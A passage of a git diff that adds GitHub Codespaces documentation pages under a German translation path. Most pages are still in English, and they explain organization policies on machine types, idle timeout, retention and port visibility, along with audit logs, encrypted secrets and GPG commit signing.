+  - /github/developing-online-with-codespaces/managing-access-and-security-for-codespaces
+  - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
+---
+
+{% warning %}
+
+**Deprecation note**: The access and security setting described below is now deprecated and is documented here for reference only. To enable expanded access to other repositories, add the requested permissions to your `devcontainer.json` configuration file. For more information, see "[Managing access to other repositories within your codespace](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)."
+
+{% endwarning %}
+
+By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
+
+To manage which users in your organization can use {% data variables.product.prodname_github_codespaces %}, see "[Enabling {% data variables.product.prodname_github_codespaces %} for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-github-codespaces-for-your-organization#enable-codespaces-for-users-in-your-organization)."
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Access and security", select the setting you want for your organization.
+  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
+1. If you chose "Selected repositories", select the dropdown menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
+    !["Selected repositories" dropdown menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+
+## Further reading
+
+- "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..6d19604ad4
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,90 @@
+---
+title: Restricting access to machine types
+shortTitle: Restrict machine types
+intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization.
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an owner of the organization.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Overview
+
+Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. For more information, see "[Creating a codespace for a repository](/codespaces/developing-in-codespaces/creating-a-codespace-for-a-repository#creating-a-codespace-for-a-repository)." 
+
+If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. The compute cost for a codespace is proportional to the number of processor cores in the machine type you choose. For example, the compute cost of using a codespace for an hour on a 16-core machine is eight times greater than a 2-core machine. For more information about pricing, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces)."
+
+As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_github_codespaces %} settings for your organization.
+
+### Behavior when you set a machine type constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they are stopped or time out. When the user attempts to resume the codespace they are shown a message telling them that the currenly selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type.
+
+If you remove higher specification machine types that are required by the {% data variables.product.prodname_github_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_github_codespaces %} configuration.
+
+{% note %}
+
+**Note**: Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+{% endnote %}
+
+If setting a policy for machine types prevents people from using {% data variables.product.prodname_github_codespaces %} for a particular repository there are two options:
+
+* You can adjust your policies to specifically remove the restrictions from the affected repository.
+* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines.
+
+If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+{% data reusables.codespaces.codespaces-org-policies-note %}
+
+## Adding a policy to limit the available machine types
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.codespaces.codespaces-org-policies %}
+1. Click **Add constraint** and choose **Machine types**.
+
+   ![Screenshot of the 'Add constraint' dropdown menu](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available.
+
+   ![Screenshot of the pencil icon for editing the constraint](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+{% data reusables.codespaces.codespaces-policy-targets %}
+1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see:
+   * "[Restricting the base image for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)"
+   * "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)"
+   * "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)"
+   * "[Restricting the retention period for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)"
+1. After you've finished adding constraints to your policy, click **Save**.
+
+The policy will be applied to all new codespaces that are billable to your organization. The machine type constraint is also applied to existing codespaces when someone attempts to restart a stopped codespace or reconnect to an active codespace.
+
+## Editing a policy
+
+You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy.
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the name of the policy you want to edit.
+1. Click the pencil icon ({% octicon "pencil" aria-label="The edit icon" %}) beside the "Machine types" constraint.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy 
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![Screenshot of the delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
+
+## Further reading
+
+- "[Managing spending limits for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-the-spending-limit-for-github-codespaces)"
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md
new file mode 100644
index 0000000000..28aec3606f
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period.md
@@ -0,0 +1,85 @@
+---
+title: Restricting the idle timeout period
+shortTitle: Restrict timeout periods
+intro: You can set a maximum timeout period for any codespaces owned by your organization.
+permissions: 'To manage timeout constraints for an organization''s codespaces, you must be an owner of the organization.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Overview
+
+By default, codespaces time out after 30 minutes of inactivity. When a codespace times out it is stopped and will no longer incur charges for compute usage. 
+
+The personal settings of a {% data variables.product.prodname_dotcom %} user allow them to define their own timeout period for codespaces they create. This may be longer than the default 30-minute period. For more information, see "[Setting your timeout period for {% data variables.product.prodname_github_codespaces %}](/codespaces/customizing-your-codespace/setting-your-timeout-period-for-github-codespaces)."
+
+As an organization owner, you may want to configure constraints on the maximum idle timeout period for codespaces created for repositories owned by your organization. This can help you to limit costs associated with codespaces that are left to timeout after long periods of inactivity. You can set a maximum timeout for the codespaces for all repositories owned by your organization, or for the codespaces of specific repositories. 
+
+{% note %}
+
+**Note**: Maximum idle timeout constraints only apply to codespaces that are owned by your organization.
+
+{% endnote %}
+
+For more information about pricing for {% data variables.product.prodname_github_codespaces %} compute usage, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)."
+
+### Behavior when you set a maximum idle timeout constraint
+
+If someone sets the default idle timeout to 90 minutes in their personal settings and they then start a codespace for a repository with a maximum idle timeout constraint of 60 minutes, the codespace will time out after 60 minutes of inactivity. When codespace creation completes, a message explaining this will be displayed:
+
+> Idle timeout for this codespace is set to 60 minutes in compliance with your organization’s policy.
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy, you choose whether it applies to all repositories in your organization, or only to specified repositories. If you create an organization-wide policy with a timeout constraint, then the timeout constraints in any policies that are targeted at specific repositories must fall within the restriction configured for the entire organization. The shortest timeout period - in an organization-wide policy, a policy targeted at specified repositories, or in someone's personal settings - is applied.
+
+If you add an organization-wide policy with a timeout constraint, you should set the timeout to the longest acceptable period. You can then add separate policies that set the maximum timeout to a shorter period for specific repositories in your organization.
+
+{% data reusables.codespaces.codespaces-org-policies-note %}
+
+## Adding a policy to set a maximum idle timeout period
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.codespaces.codespaces-org-policies %}
+1. Click **Add constraint** and choose **Maximum idle timeout**.
+
+   ![Screenshot of the 'Add constraint' dropdown menu](/assets/images/help/codespaces/add-constraint-dropdown-timeout.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint.
+
+   ![Screenshot of the pencil icon for editing the constraint](/assets/images/help/codespaces/edit-timeout-constraint.png)
+
+1. Enter the maximum number of minutes codespaces can remain inactive before they time out, then click **Save**.
+
+   ![Screenshot of setting the maximum timeout in minutes](/assets/images/help/codespaces/maximum-minutes-timeout.png)
+
+{% data reusables.codespaces.codespaces-policy-targets %}
+1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see:
+   * "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+   * "[Restricting the base image for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)"
+   * "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)"
+   * "[Restricting the retention period for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)"
+1. After you've finished adding constraints to your policy, click **Save**.
+
+The policy will be applied to all new codespaces that are billable to your organization. The timeout constraint is also applied to existing codespaces the next time they are started.
+
+## Editing a policy
+
+You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy.
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to set a maximum idle timeout period](#adding-a-policy-to-set-a-maximum-idle-timeout-period)."
+1. Click the name of the policy you want to edit.
+1. Click the pencil icon ({% octicon "pencil" aria-label="The edit icon" %}) beside the "Maximum idle timeout" constraint.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy 
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to set a maximum idle timeout period](#adding-a-policy-to-set-a-maximum-idle-timeout-period)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![Screenshot of the delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md
new file mode 100644
index 0000000000..37668e6931
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces.md
@@ -0,0 +1,84 @@
+---
+title: Restricting the retention period for codespaces
+shortTitle: Restrict the retention period
+intro: You can set a maximum retention period for any codespaces owned by your organization.
+permissions: 'To manage retention constraints for an organization''s codespaces, you must be an owner of the organization.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Overview
+
+{% data variables.product.prodname_github_codespaces %} are automatically deleted after they have been stopped and have remained inactive for a defined number of days. The retention period for each codespace is set when the codespace is created and does not change. 
+
+Everyone who has access to {% data variables.product.prodname_github_codespaces %} can configure a retention period for the codespaces they create. The initial setting for this default retention period is 30 days. Individual users can set this period within the range 0-30 days. For more information, see "[Configuring automatic deletion of your codespaces](/codespaces/customizing-your-codespace/configuring-automatic-deletion-of-your-codespaces)." 
+
+As an organization owner, you may want to configure constraints on the maximum retention period for codespaces created for the repositories owned by your organization. This can help you to limit the storage costs associated with codespaces that are stopped and then left unused until they are automatically deleted. For more information about storage charges, see "[About billing for {% data variables.product.prodname_github_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-github-codespaces#codespaces-pricing)." You can set a maximum retention period for all, or for specific, repositories owned by your organization. 
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy, you choose whether it applies to all repositories in your organization, or only to specified repositories. If you create an organization-wide policy with a codespace retention constraint, then the retention constraints in any policies that are targeted at specific repositories should be shorter than the restriction configured for the entire organization, or they will have no effect. The shortest retention period - in an organization-wide policy, a policy targeted at specified repositories, or the default retention period in someone's personal settings - is applied.
+
+If you add an organization-wide policy with a retention constraint, you should set the retention period to the longest acceptable period. You can then add separate policies that set the maximum retention to a shorter period for specific repositories in your organization.
+
+{% data reusables.codespaces.codespaces-org-policies-note %}
+
+## Adding a policy to set a maximum codespace retention period
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.codespaces.codespaces-org-policies %}
+1. Click **Add constraint** and choose **Retention period**.
+
+   ![Screenshot of the 'Add constraint' dropdown menu](/assets/images/help/codespaces/add-constraint-dropdown-retention.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint.
+
+   ![Screenshot of the pencil icon for editing the constraint](/assets/images/help/codespaces/edit-timeout-constraint.png)
+
+1. Enter the maximum number of days codespaces can remain stopped before they are automatically deleted, then click **Save**.
+
+   ![Screenshot of setting the retention period in days](/assets/images/help/codespaces/maximum-days-retention.png)
+
+   {% note %}
+
+   **Notes**: 
+   * A day, in this context, is a 24-hour period, beginning at the time of day when the codespace was stopped.
+   * The valid range is 0-30 days.
+   * Setting the period to `0` will result in codespaces being immediately deleted when they are stopped, or when they timeout due to inactivity.
+
+   {% endnote %}
+
+{% data reusables.codespaces.codespaces-policy-targets %}
+1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see:
+   * "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+   * "[Restricting the base image for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)"
+   * "[Restricting the visibility of forwarded ports](/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports)"
+   * "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)"
+1. After you've finished adding constraints to your policy, click **Save**.
+
+The policy will be applied to all new codespaces that are billable to your organization. The retention period constraint is only applied on codespace creation.
+
+## Editing a policy
+
+You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy.
+
+The retention period constraint is only applied to codespaces when they are created. Editing a policy has no effect on existing codespaces.
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to set a maximum codespace retention period](#adding-a-policy-to-set-a-maximum-codespace-retention-period)."
+1. Click the name of the policy you want to edit.
+1. Click the pencil icon ({% octicon "pencil" aria-label="The edit icon" %}) beside the "Retention period" constraint.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy 
+
+You can delete a policy at any time. Deleting a policy has no effect on existing codespaces.
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to set a maximum codespace retention period](#adding-a-policy-to-set-a-maximum-codespace-retention-period)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![Screenshot of the delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md
new file mode 100644
index 0000000000..a6e15aa254
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/restricting-the-visibility-of-forwarded-ports.md
@@ -0,0 +1,81 @@
+---
+title: Restricting the visibility of forwarded ports
+shortTitle: Restrict port visibility
+intro: You can set constraints on the visibility options users can choose when they forward ports from codespaces in your organization.
+permissions: 'To manage access to port visibility constraints for the repositories in an organization, you must be an owner of the organization.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## Overview
+
+Typically, within a codespace you are able to forward ports privately (only to yourself), to members of your organization, or publicly (to anyone with the URL). For more information, see "[Forwarding ports in your codespace](/codespaces/developing-in-codespaces/forwarding-ports-in-your-codespace)."
+
+As an organization owner, you may want to configure constraints on the visibility options users can set when forwarding ports. For example, for security reasons, you may want to disallow public port forwarding. You do this by defining one or more policies in the {% data variables.product.prodname_github_codespaces %} settings for your organization.
+
+### Behavior when you set a port visibility constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they are stopped or time out. When the user resumes the codespace, it will be subject to the policy constraints.
+
+{% note %}
+
+**Note**: You can't disable private port forwarding, as private port forwarding is required by {% data variables.product.prodname_github_codespaces %} to continue working as designed, for example to forward SSH on port 22.
+
+{% endnote %}
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of visibility options more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the visibility options to organization only. You can then set a policy for Repository A that disallows both public and organization visibility, which would result in only private port forwarding being available for this repository. Setting a policy for Repository A that allowed both public and organization would result in only organization visibility, because the organization-wide policy does not allow public visibility.
+
+If you add an organization-wide policy, you should set it to the most lenient visibility option that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+{% data reusables.codespaces.codespaces-org-policies-note %}
+
+## Adding a policy to limit the port visibility options
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.codespaces.codespaces-org-policies %}
+1. Click **Add constraint** and choose **Port visibility**.
+
+   ![Screenshot of the 'Add constraint' dropdown menu](/assets/images/help/codespaces/add-constraint-dropdown-ports.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint.
+
+   ![Screenshot of the pencil icon for editing the constraint](/assets/images/help/codespaces/edit-port-visibility-constraint.png)
+
+1. Clear the selection of the port visibility options (**Org** or **Public**) that you don't want to be available.
+
+   ![Screenshot of clearing a port visibility option](/assets/images/help/codespaces/choose-port-visibility-options.png)
+
+{% data reusables.codespaces.codespaces-policy-targets %}
+1. If you want to add another constraint to the policy, click **Add constraint** and choose another constraint. For information about other constraints, see:
+   * "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)"
+   * "[Restricting the base image for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-base-image-for-codespaces)"
+   * "[Restricting the idle timeout period](/codespaces/managing-codespaces-for-your-organization/restricting-the-idle-timeout-period)"
+   * "[Restricting the retention period for codespaces](/codespaces/managing-codespaces-for-your-organization/restricting-the-retention-period-for-codespaces)"
+1. After you've finished adding constraints to your policy, click **Save**.
+
+The policy will be applied to all new codespaces that are billable to your organization. The port visibility constraint is also applied to existing codespaces the next time they are started.
+
+## Editing a policy
+
+You can edit an existing policy. For example, you may want to add or remove constraints to or from a policy.
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the port visibility options](#adding-a-policy-to-limit-the-port-visibility-options)."
+1. Click the name of the policy you want to edit.
+1. Click the pencil icon ({% octicon "pencil" aria-label="The edit icon" %}) beside the "Port visibility" constraint.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy 
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the port visibility options](#adding-a-policy-to-limit-the-port-visibility-options)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![Screenshot of the delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
diff --git a/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md
new file mode 100644
index 0000000000..4dc53ccac7
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-github-codespaces.md
@@ -0,0 +1,28 @@
+---
+title: Reviewing your organization's audit logs for GitHub Codespaces
+shortTitle: Audit logs
+intro: 'You can use the audit log to review all actions related to {% data variables.product.prodname_github_codespaces %}.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Security
+  - Administrator
+redirect_from:
+  - /codespaces/managing-codespaces-for-your-organization/reviewing-your-organizations-audit-logs-for-codespaces
+---
+
+ 
+
+When any member of your organization performs an action related to {% data variables.product.prodname_github_codespaces %}, you can review the actions in the audit log. For information about accessing the log, see "[Reviewing your audit log](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#accessing-the-audit-log)."
+
+![Audit log with Codespaces information](/assets/images/help/settings/codespaces-audit-log-org.png)
+
+The audit log includes details such as who performed the action, what the action was, and when the action was performed. For information on {% data variables.product.prodname_github_codespaces %} actions, see "[`codespaces` category actions](/organizations/keeping-your-organization-secure/reviewing-the-audit-log-for-your-organization#codespaces-category-actions)."
+
+## Further reading
+
+- "[Reviewing your security logs for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-your-codespaces/reviewing-your-security-logs-for-github-codespaces)"
+- "[{% data variables.product.prodname_github_codespaces %} logs](/codespaces/troubleshooting/github-codespaces-logs)"
diff --git a/translations/de-DE/content/codespaces/managing-your-codespaces/index.md b/translations/de-DE/content/codespaces/managing-your-codespaces/index.md
new file mode 100644
index 0000000000..0b391cd126
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-your-codespaces/index.md
@@ -0,0 +1,23 @@
+---
+title: Verwalten von Codespaces
+intro: 'Du kannst {% data variables.product.prodname_github_codespaces %}-Einstellungen verwenden, um Informationen zu verwalten, die dein Codespace möglicherweise benötigt.'
+versions:
+  fpt: '*'
+  ghec: '*'
+topics:
+  - Codespaces
+redirect_from:
+  - /codespaces/working-with-your-codespace
+children:
+  - /managing-encrypted-secrets-for-your-codespaces
+  - /managing-repository-access-for-your-codespaces
+  - /reviewing-your-security-logs-for-github-codespaces
+  - /managing-gpg-verification-for-github-codespaces
+ms.openlocfilehash: e038653047ef1d8ccb7e4a2237c2d6149e7593c9
+ms.sourcegitcommit: e8c012864f13f9146e53fcb0699e2928c949ffa8
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/09/2022
+ms.locfileid: '148159638'
+---
+
diff --git a/translations/de-DE/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
new file mode 100644
index 0000000000..6a2cc72fd6
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-encrypted-secrets-for-your-codespaces.md
@@ -0,0 +1,102 @@
+---
+title: Managing encrypted secrets for your codespaces
+intro: 'You can store sensitive information, like tokens, that you want to access in your codespaces via environment variables.'
+versions:
+  fpt: '*'
+  ghec: '*'
+redirect_from:
+  - /github/developing-online-with-codespaces/managing-encrypted-secrets-for-codespaces
+  - /codespaces/working-with-your-codespace/managing-encrypted-secrets-for-codespaces
+type: how_to
+topics:
+  - Codespaces
+  - Developer
+  - Security
+  - Secret store
+shortTitle: Encrypted secrets
+---
+
+ 
+
+
+## About encrypted secrets for {% data variables.product.prodname_github_codespaces %}
+
+You can add encrypted secrets to your personal account that you want to use in your codespaces. For example, you may want to store and access the following sensitive information as encrypted secrets.
+
+- Access tokens to cloud services
+- Service principals
+- Subscription identifiers
+- [Credentials for a private image registry](/codespaces/codespaces-reference/allowing-your-codespace-to-access-a-private-image-registry)
+
+You can choose which repositories should have access to each secret. Then, you can use the secret in any codespace you create for a repository that has access to the secret. To share a secret with a codespace created from a template, you will need to publish the codespace to a repository on {% data variables.product.prodname_dotcom %}, then give that repository access to the secret.
+
+{% data reusables.codespaces.secrets-on-start %}
+
+### Naming secrets
+
+{% data reusables.codespaces.secrets-naming %} For example, a secret created at the repository level must have a unique name in that repository.
+
+  {% data reusables.codespaces.secret-precedence %}
+
+### Limits for secrets
+
+You can store up to 100 secrets for {% data variables.product.prodname_github_codespaces %}.
+
+Secrets are limited to 64 KB in size.
+
+## Adding a secret
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. To the right of "Codespaces secrets", click **New secret**.
+  !["New secret" button](/assets/images/help/settings/codespaces-new-secret-button.png)
+1. Under "Name", type a name for your secret.
+  !["Name" text box](/assets/images/help/settings/codespaces-secret-name-field.png)
+{% data reusables.user-settings.codespaces-secret-value %}
+{% data reusables.user-settings.codespaces-secret-repository-access %}
+1. Click **Add secret**.
+
+## Editing a secret
+
+You can update the value of an existing secret, and you can change which repositories can access a secret.
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Codespaces secrets", to the right of the secret you want to edit, click **Update**.
+  !["Update" button](/assets/images/help/settings/codespaces-secret-update-button.png)
+1. Under "Value", click **enter a new value**.
+  !["enter a new value" link](/assets/images/help/settings/codespaces-secret-update-value-text.png)
+{% data reusables.user-settings.codespaces-secret-value %}
+{% data reusables.user-settings.codespaces-secret-repository-access %}
+1. Optionally, to remove the secret's access to a repository, deselect the repository.
+  ![Checkboxes to remove access to repositories](/assets/images/help/settings/codespaces-secret-repository-checkboxes.png)
+1. Click **Save changes**.
+
+## Deleting a secret
+
+{% data reusables.user-settings.access_settings %}
+{% data reusables.user-settings.codespaces-tab %}
+1. Under "Codespaces secrets", to the right of the secret you want to delete, click **Delete**.
+  !["Delete" button](/assets/images/help/settings/codespaces-secret-delete-button.png)
+1. Read the warning, then click **OK**.
+  ![Confirmation to delete secret](/assets/images/help/settings/codespaces-secret-delete-warning.png)
+
+## Using secrets
+
+A secret is exported as an environment variable into the user's terminal session.
+
+  ![Displaying the value of an exported secret in the terminal](/assets/images/help/codespaces/exported-codespace-secret.png)
+
+You can use secrets in a codespace after the codespace is built and is running. For example, a secret can be used:
+
+* When launching an application from the integrated terminal or ssh session.
+* Within a dev container lifecycle script that is run after the codespace is running. For more information about dev container lifecycle scripts, see the documentation on containers.dev: [Specification](https://containers.dev/implementors/json_reference/#lifecycle-scripts).
+
+Codespace secrets cannot be used:
+
+* During codespace build time (that is, within a Dockerfile or custom entry point).
+* Within a dev container feature. For more information, see the `features` property in the [dev containers specification](https://containers.dev/implementors/json_reference/#general-properties) on containers.dev.
+
+## Further reading
+
+- "[Managing encrypted secrets for your repository and organization for {% data variables.product.prodname_github_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-encrypted-secrets-for-your-repository-and-organization-for-github-codespaces)"
diff --git a/translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md
new file mode 100644
index 0000000000..692b4c28a6
--- /dev/null
+++ b/translations/de-DE/content/codespaces/managing-your-codespaces/managing-gpg-verification-for-github-codespaces.md
@@ -0,0 +1,39 @@
+---
+title: Managing GPG verification for GitHub Codespaces
+intro: 'You can allow {% data variables.product.company_short %} to automatically use GPG to sign commits you make in your codespaces, so other people can be confident that the changes come from a trusted source.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+  - Developer
+  - Security
+redirect_from:
+  - /github/developing-online-with-codespaces/managing-gpg-verification-for-codespaces
+  - /codespaces/working-with-your-codespace/managing-gpg-verification-for-codespaces
+  - /codespaces/managing-your-codespaces/managing-gpg-verification-for-codespaces
+shortTitle: GPG verification
+---
+
+ 
+
+After you enable GPG verification, {% data variables.product.company_short %} will automatically sign commits you make in {% data variables.product.prodname_github_codespaces %}, and the commits will have a verified status on {% data variables.product.product_name %}. By default, GPG verification is disabled for codespaces you create. You can choose to allow GPG verification for all repositories or specific repositories. Only enable GPG verification for repositories that you trust. For more information about {% data variables.product.product_name %}-signed commits, see "[About commit signature verification](/github/authenticating-to-github/about-commit-signature-verification)."
+
+{% data reusables.codespaces.gpg-in-active-codespaces %}
+
+{% note %}
+
